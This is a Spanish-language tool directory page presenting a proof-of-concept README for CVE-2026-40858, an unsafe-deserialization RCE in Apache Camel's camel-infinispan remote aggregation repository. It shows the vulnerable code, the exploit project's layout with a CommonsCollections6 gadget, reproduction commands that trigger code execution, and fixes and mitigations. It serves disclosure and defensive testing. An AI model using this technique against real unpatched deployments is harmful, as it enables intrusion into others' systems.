Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-40858 — Reproductor para CVE-2026-40858 — deserialización insegura del repositorio de agregación remoto de Apache Camel camel-infinispan (RCE) | Kitploit
Herramientas/GitHubGitHub/oscerd/cve-2026-40858
Análisis de VulnerabilidadesExplotaciónPapers e InvestigaciónAprendizaje y EducaciónExplotación de Binarios
GitHuboscerd/cve-2026-40858

CVE-2026-40858

Reproductor para CVE-2026-40858 — deserialización insegura del repositorio de agregación remoto de Apache Camel camel-infinispan (RCE)

Ver Repositorio
12hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Reproducción de la deserialización insegura del repositorio de agregación remota camel-infinispan (CVE-2026-40858)

Este proyecto demuestra una vulnerabilidad de deserialización de Java en el componente camel-infinispan de Apache Camel, registrada como CVE-2026-40858. El repositorio de agregación remota basado en ProtoStream serializa cada Exchange agregado en una caché Infinispan remota y, cuando vuelve a leer una entrada (en get() / recover()), la deserializa con java.io.ObjectInputStream y sin ObjectInputFilter. Un atacante que pueda escribir en la caché subyacente puede insertar un objeto serializado manipulado y obtener ejecución remota de código la próxima vez que el repositorio lea esa clave.

Aviso: https://camel.apache.org/security/CVE-2026-40858.html

Resumen de la vulnerabilidad

PropiedadValor
Componentecamel-infinispan (repositorio de agregación remoto / HotRod)
Clase afectadaorg.apache.camel.component.infinispan.remote.DefaultExchangeHolderProtoAdapter → DefaultExchangeHolderUtils.deserialize(byte[])
CWECWE-502: Deserialización de datos no confiables
ImpactoEjecución remota de código (RCE)
Versiones afectadasDesde 4.0.0 hasta antes de 4.14.7, desde 4.15.0 hasta antes de 4.18.2, desde 4.19.0 hasta antes de 4.20.0
Versiones corregidas4.14.7, 4.18.2, 4.20.0
JIRACAMEL-23322
NotificadorFeng Ning (Innora Pte. Ltd.)

Detalles técnicos

InfinispanRemoteAggregationRepository almacena cada Exchange como un DefaultExchangeHolder. Con el marshaller ProtoStream, ese holder es adaptado por DefaultExchangeHolderProtoAdapter, cuyo campo #1 de ProtoStream es el holder serializado con un ObjectOutputStream simple. A la vuelta, el adaptador reconstruye el holder pasando esos bytes a DefaultExchangeHolderUtils.deserialize:

root@kitploit:~
// DefaultExchangeHolderUtils.deserialize(byte[]) - affected version
static DefaultExchangeHolder deserialize(byte[] bytes) throws IOException, ClassNotFoundException {
    ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
    ClassLoadingAwareObjectInputStream ois = new ClassLoadingAwareObjectInputStream(bais);
    return (DefaultExchangeHolder) ois.readObject();   // NO ObjectInputFilter
}

ClassLoadingAwareObjectInputStream amplía, en lugar de restringir, el conjunto de clases resolubles, por lo que readObject() instanciará cualquier cadena de gadgets presente en el classpath. Dado que los bytes provienen directamente de la caché remota, cualquiera que pueda escribir esa clave de caché controla el flujo de deserialización — y el gadget se dispara durante readObject(), antes de que el valor se convierta siquiera en DefaultExchangeHolder.

La configuración de la víctima

Una ruta (o, como aquí, el código de la aplicación) utiliza el repositorio de agregación remota respaldado por un servidor Infinispan:

root@kitploit:~
InfinispanRemoteConfiguration conf = new InfinispanRemoteConfiguration();
conf.setCacheContainerConfiguration(hotRodClientConfig);   // points at the Infinispan server

InfinispanRemoteAggregationRepository repo =
        new InfinispanRemoteAggregationRepository("camel-aggregation");
repo.setConfiguration(conf);
repo.setCamelContext(camelContext);
repo.start();

// ... during aggregation Camel calls repo.add(...) / repo.get(...) / repo.recover(...)

Cualquier get() / recover() sobre una clave cuyo valor almacenado fue manipulado activa el sink.

Estructura del repositorio — dónde se ejecuta el código vulnerable

El código vulnerable de Camel se ejecuta en la aplicación (en el host); el servidor Infinispan se ejecuta en Docker como almacenamiento subyacente con el que se comunica el repositorio. Esto refleja cómo se despliega el repositorio en la práctica: los datos no confiables residen en la caché compartida.

root@kitploit:~
CVE-2026-40858/
├── pom.xml                 # camel-infinispan 4.18.1 + commons-collections 3.2.1 (gadget)
├── docker-compose.yml      # quay.io/infinispan/server:16.1 (the remote cache)
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── InfinispanRepoService.java   # builds + starts InfinispanRemoteAggregationRepository
    │   ├── Gadget.java                  # CommonsCollections6 gadget, fired during readObject()
    │   └── ExploitController.java       # /exploit/attack: plants a gadget-bodied holder, then reads it
    └── resources/
        └── application.properties

Nota sobre el atajo del PoC. Un atacante real escribe los bytes maliciosos directamente en la caché Infinispan compartida. Para que el PoC sea autocontenido, /exploit/attack inserta el valor a través del mismo repositorio (repo.add(...) con un gadget como cuerpo del Exchange) y luego llama a repo.get(...) para activar la lectura. El sink que ejecuta el gadget es el propio readObject() de Camel, exactamente como se dispararía ante cualquier entrada de caché manipulada por un atacante.

Requisitos previos

  • Java 17+ y Maven 3.8+
  • Docker (ejecuta el servidor Infinispan)

Pasos para la reproducción

Paso 1: Iniciar el servidor Infinispan

root@kitploit:~
docker compose up -d
# wait until ready:
curl -s -o /dev/null -w "%{http_code}\n" --retry-connrefused --retry 60 --retry-delay 1 \
     http://localhost:11222/rest/v2/cache-managers/default/health/status   # -> 200

Paso 2: Compilar y ejecutar la aplicación vulnerable

El gadget CommonsCollections6 se ensambla en vivo mediante reflexión dentro de java.util, por lo que la JVM debe iniciarse con --add-opens java.base/java.util=ALL-UNNAMED:

root@kitploit:~
mvn clean package -DskipTests
java --add-opens java.base/java.util=ALL-UNNAMED \
     -jar target/cve-2026-40858-infinispan-0.0.1-SNAPSHOT.jar

Paso 3: Activar la deserialización (RCE)

root@kitploit:~
curl -s http://localhost:8080/exploit/attack
# -> repo.get() returned: Exchange[...]
#
#    >>> RCE proof — /tmp/pwned exists: true

/tmp/pwned es creado por el gadget (touch /tmp/pwned) mientras el repositorio deserializa el valor de caché insertado.

Limpieza

root@kitploit:~
docker compose down
rm -f /tmp/pwned

Vectores de ataque

Cualquier despliegue que utilice InfinispanRemoteAggregationRepository (serialización ProtoStream) contra una caché en la que un atacante pueda escribir. El acceso de escritura a la caché puede provenir de un clúster de Infinispan compartido/multitenant, un endpoint HotRod accesible desde la red, o cualquier otro productor que deposite datos en la misma caché.

Condiciones de explotación

  1. Un repositorio de agregación remoto de camel-infinispan que lea de una caché en la que el atacante pueda escribir.
  2. Una biblioteca de gadgets en el classpath (aquí commons-collections:3.2.1).

Corrección recomendada

Actualice a 4.14.7 / 4.18.2 / 4.20.0. La corrección aplica un ObjectInputFilter / lista blanca de clases a la deserialización del holder, en línea con el endurecimiento aplicado a los demás repositorios de agregación de Camel (camel-leveldb, camel-cassandraql, camel-jms) y a camel-mina / camel-netty.

Mitigación

Hasta que se actualice:

  1. Trate la caché de Infinispan como un límite de confianza — restrinja quién puede escribir en la caché de agregación.
  2. Elimine las bibliotecas de gadgets del classpath (actualice/elimine commons-collections 3.x y similares).
  3. Mantenga el endpoint HotRod de Infinispan en una red confiable con la autenticación habilitada.

Descargo de responsabilidad

Este PoC se proporciona únicamente para investigación de seguridad y pruebas autorizadas, para una vulnerabilidad divulgada públicamente y corregida. No lo utilice contra sistemas sin permiso explícito.

Descargar herramienta